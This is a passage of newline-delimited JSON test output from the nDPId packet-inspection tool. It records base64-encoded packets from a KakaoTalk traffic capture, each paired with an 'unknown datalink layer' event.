+00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2821,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":237586,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABG21KAbFFQi0NtWguGVRnvp\/K5sS\/1rlir2AFPs5H3xL52M7n\/tls\/UPYVhxkvTi0xONe46PqVaye0ixho4B2uGQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2821,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2822,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":237738,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABKYM6AbFFRi0NxGguGVRlyI1XubtlR2Q4eWZQP5Bq+elwOL6jHGTAul+9LMFiASDd0YnI9zoWOAergy6XVQmDbngsGRlU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2822,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2823,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":259192,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/yEKAbDPUfrLHg1Sapdryt8qh504SLRMLzgVKu7kNQkXQh0v6OAAb9+dgXV7DP9PcOyAjtK6UBwcd"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2823,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2824,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":283637,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/UWeAbDPXfrLSw1SapdpNx+J+CDPYwUo+5QZPsYzd3ZGuUoXmqdZ82jnwEkJQQ7M2AoF5ciJqktb1"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2824,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2825,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":287390,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABG5QaAbFFPi0NpmguGVRkMy00dNZev+pwLiDKx21S0c68Cxz9wVyc7DxEV9C9Zel2SqpxKZrDryo+JKbMNq5FJtg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2825,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2826,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":311255,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/hZeAbDPVfrLLQ1SapdphAYxZz4H9q0a\/Y9l37Le2bajhguLMU46Z+PnDPLQq1gpXIWBx33kuokzM"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2826,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2827,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":331885,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGIAAEAAPxHbQAoYUrwByQGuLDhaBABOBlGAbFFSi0N02guGVRlW3PoL7Y2LE6eJYIuCPsSrUq0sZQzYo9+oO1d7iEFfuYG5CdN8bFmIZ89v9uTHrP9Tetz1QwhwpwDK"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2827,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2828,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":337592,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJ4PqAbFFTi0N4mguGVRlYMfP8hkwJh4ZT2Ny8RvvCvgFp6a3lWiV90alwR+IKBcHC0HD3CFlOy+ApCemAtbbQjMgHVg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2828,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2829,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":337714,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAQBHaRwoYUrwByQGuKBxaBgBH5h2AbDPYfrLWg1SapdoA1HchKIR7+shHeTAOqfVCBAuCQtHZXdjuRa0ItPbSUAJhFHSuM\/CUCvrOG432EVNLeX8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2829,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2830,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":367102,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/pWqAbDPWfrLPA1SapdoBJvdsDMqNw6BY02P6WYrVymdYweuYtbYipcysFQbG2PW+l97GT7lNTx7\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2830,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00507{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2831,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":378974,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIQAAEAAQBHaHgoYUrwByQGuKBxaBgBwzDOAbDPZfrLaQ1Sapdrs9sYhbftJ030hI5NGlP8V4driHeie\/Z\/z\/HLMr6WlaerNCLZzFV7LASsogzPPd0OYKSM+fhWylZJ7l9pICTxt7qJHEAu9yT6JBgk3lutHCR7nR3njJY7asE9Yzg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2831,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2832,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":399115,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABG32yAbFFQi0NtWguGVRnvp\/K5sS\/1rlir2AFPs5H3xL52M7n\/tls\/UPYVhxkvTi0xONe46PqVaye0ixho4B2uGQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2832,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2833,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":407111,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABKZOiAbFFRi0NxGguGVRlyI1XubtlR2Q4eWZQP5Bq+elwOL6jHGTAul+9LMFiASDd0YnI9zoWOAergy6XVQmDbngsGRlU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2833,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2834,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":417548,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAQBHaRAoYUrwByQGuKBxaBgBKAiiAbDPafrLeA1SapdrG2q1NkxaQkXZpVJQ\/oeeW9qbinVrlDOf6hio6KOaAgdsh9Ad77\/ut\/gf0z9S7wRS+v2bngPs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2834,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2835,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":436957,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGkAAEAAPxHbOQoYUrwByQGuLDhaBABVReiAbFFUi0N8WguGVRnG3IQ1JSZtT7KAI8iMHpZR1OtVKx0dTHkX6f9rYZ9LFWB40F0dd9O9dVKBOeZ2DXb6MPI6rZtYzutlZPWbKSL\/XQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2835,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2836,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":471686,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/TU2AbDPXfrLSw1SapdpNx+J+CDPYwUo+5QZPsYzd3ZGuUoXmqdZ82jnwEkJQQ7M2AoF5ciJqktb1"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2836,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2837,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":505225,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGIAAEAAHBH+GAHJAa4KGFK8WgYoHABOCmuAbFFSi0N02guGVRlW3PoL7Y2LE6eJYIuCPsSrUq0sZQzYo9+oO1d7iEFfuYG5CdN8bFmIZ89v9uTHrP9Tetz1QwhwpwDK"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2837,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2838,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":505377,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChd+0AA+AbBg638WIAKGFK8AbvqCPsyGz7Wm7gkUBQAALuKAAA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2838,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2839,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":505591,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADTK\/EAAjga+dq38WIAKGFK8AbvqCPsyGz7Wm7gkgBQClSKzAAABAQgKopRXsAACYuQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2839,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2840,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":524115,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/npmAbDPbfrLhw1Sapdqfg61eWPVd8C5F8uX\/Ffdn\/84RmccQuTby2gNx8X2RVqJ1mvdPaCKDz5vK"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2840,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00549{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2841,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":537177,"pkt_caplen":183,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":183,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKcAAEAAPxHa+woYUrwByQGuLDhaBACT4RWAbFFVi0OAGguGVRlPxWpuEko3CPBCw7G4S8DXGTM9GYQzDcJE6wBTHgOeax\/dnKq1clNqtx97qJrq8G0LxZtniV5gLiSPwUfdyy1jOSLXO1siTBvMoVhl3CoHX0Mlt2UW6vcb6tKbPiljPISG8QL3L5BPqzL8Bu2nErkRPU5w1HvGgCOB+kNX3lI0"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2841,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00500{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2842,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":538611,"pkt_caplen":145,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIEAAEAAPxHbIQoYUrwByQGuLDhaBABtDJ2AbFFWi0OD2guGVRnAms4ROvmtfbYZRcamHqlAAtH8izYRl2Um9x99Wqy3kAtgEzBbzJqJJeA+hsPPC8tbksAqT3NMmQNoV2kOO5DFEYnj2BSbGdIZjl8VfQmD4jz0NZmOz8dIgg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2842,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2843,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":543250,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJ5RSAbFFTi0N4mguGVRlYMfP8hkwJh4ZT2Ny8RvvCvgFp6a3lWiV90alwR+IKBcHC0HD3CFlOy+ApCemAtbbQjMgHVg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2843,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2844,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":547187,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHRH9HwHJAa4KGFK8WgQsOABH4gOAbDPYfrLWg1SapdoA1HchKIR7+shHeTAOqfVCBAuCQtHZXdjuRa0ItPbSUAJhFHSuM\/CUCvrOG432EVNLeX8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2844,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2845,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":565741,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/wZOAbDPcfrLlg1SapdpwluhRG2IJusv6a+Xm3DVk8OhC9JMM5ZLEvqBOjs\/u6f+3RgGlou+7BPoH"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2845,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00507{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2846,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":579077,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIQAAEAAHRH89gHJAa4KGFK8WgQsOABwyBmAbDPZfrLaQ1Sapdrs9sYhbftJ030hI5NGlP8V4driHeie\/Z\/z\/HLMr6WlaerNCLZzFV7LASsogzPPd0OYKSM+fhWylZJ7l9pICTxt7qJHEAu9yT6JBgk3lutHCR7nR3njJY7asE9Yzg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2846,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2847,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":589942,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHRH9HAHJAa4KGFK8WgQsOABK\/g2AbDPafrLeA1SapdrG2q1NkxaQkXZpVJQ\/oeeW9qbinVrlDOf6hio6KOaAgdsh9Ad77\/ut\/gf0z9S7wRS+v2bngPs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2847,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2848,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":597144,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/B3iAbDPdfrLpQ1SapdpH9cLNDvlDiKwDjui9a\/BalIBhKbpMXKeLfRZvrFsu\/5sHCgKlIj0fsKz3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2848,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00566{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2849,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":627387,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALMAAEAAPxHa7woYUrwByQGuLDhaBACfekmAbFFXi0OHmguGVRlcArMyABPKxKXH4+XhSg5elqjEYg5cqRDqSR1HaHulgCYvHsfrNsAmVihdQlWOfQFvyuxCS4otnbsP1we8foJNCAHy1p1PlUeJ6Bf69gNUYvckbyQudxfoDc\/pTuHsy2YvbgZcAe6g7nJMIioA++CSt6eC7YK4hFQgEFQpi4fP\/VuKRD56JWhAzcCm"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2849,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2850,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":629462,"pkt_caplen":153,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":153,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIkAAEAAPxHbGQoYUrwByQGuLDhaBAB1L7SAbFFYi0OLWguGVRlUlzQuRBa5Zi2Ykg2qIgUWg8iAE\/zeJNXhPerKwjO7lQ6l42Zm4oFx+U\/fuv33Eb4evnJLJtDrC55i5UPQZDIqY5zW6ICeijyVyNriGBei50NsYoeTV6OMgzzawRW1e3ES"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2850,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00408{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2851,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":639075,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADxoAkAAQAZvaQoYUryt\/FiA6jIBuzJ1sXgAAAAAoAI2sGN\/AAACBAV4BAIICgAC2XoAAAAAAQMDBQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2851,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00411{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2852,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":640662,"pkt_caplen":79,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":79,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAD\/Ze0AAQBH4oQoYUrwKvAEBYocANQAr1lVimAEAAAEAAAAAAAAEbXF0dAhmYWNlYm9vawNjb20AAAEAAQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2852,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2853,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":663062,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGkAAEAAHBH+EQHJAa4KGFK8WgYoHABVSgKAbFFUi0N8WguGVRnG3IQ1JSZtT7KAI8iMHpZR1OtVKx0dTHkX6f9rYZ9LFWB40F0dd9O9dVKBOeZ2DXb6MPI6rZtYzutlZPWbKSL\/XQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2853,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2854,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":667029,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/mn+AbDPbfrLhw1Sapdqfg61eWPVd8C5F8uX\/Ffdn\/84RmccQuTby2gNx8X2RVqJ1mvdPaCKDz5vK"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2854,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2855,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":676734,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/EgOAbDPefrLtA1SapdqtwLTTaf+NQoPAdZqXsMOc9Psk41J1BwH4FaWAL8cw5zu4+BhoR0fLT4yd"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2855,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2856,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":703101,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACy0dUAA+AZrBa38WIAKGFK8AbvqMmPPnoQydbF5YBIRHFG1AAACBAV4"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 